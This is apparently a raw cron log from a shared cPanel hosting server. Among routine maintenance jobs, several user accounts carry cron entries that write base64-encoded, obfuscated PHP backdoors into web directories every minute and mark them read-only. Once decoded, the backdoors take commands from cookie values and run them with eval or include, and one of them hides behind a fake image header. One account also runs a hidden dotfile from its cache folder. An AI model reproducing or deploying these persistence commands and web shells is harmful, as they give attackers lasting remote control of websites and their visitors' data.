Mar  1 07:07:01 medusa CROND[11715]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:07:01 medusa CROND[11708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:07:01 medusa CROND[11717]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:08:01 medusa CROND[17969]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 07:08:01 medusa CROND[18001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:08:01 medusa CROND[17999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:08:01 medusa CROND[18003]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:08:01 medusa CROND[18006]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:08:01 medusa CROND[18007]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:08:01 medusa CROND[18008]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:08:01 medusa CROND[18009]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:08:01 medusa CROND[18016]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:08:01 medusa CROND[18017]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:08:01 medusa CROND[18018]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:08:01 medusa CROND[18019]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:08:01 medusa CROND[18025]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:08:01 medusa CROND[18030]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:09:01 medusa CROND[22089]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:09:01 medusa CROND[22134]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:09:01 medusa CROND[22135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:09:01 medusa CROND[22136]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:09:01 medusa CROND[22137]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:09:01 medusa CROND[22138]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:09:01 medusa CROND[22140]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:09:01 medusa CROND[22142]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:09:01 medusa CROND[22139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:09:01 medusa CROND[22144]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:09:01 medusa CROND[22145]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:09:01 medusa CROND[22149]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:09:01 medusa CROND[22143]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 07:10:01 medusa CROND[26335]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 07:10:01 medusa CROND[26343]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:10:02 medusa CROND[26418]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 07:10:02 medusa CROND[26446]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
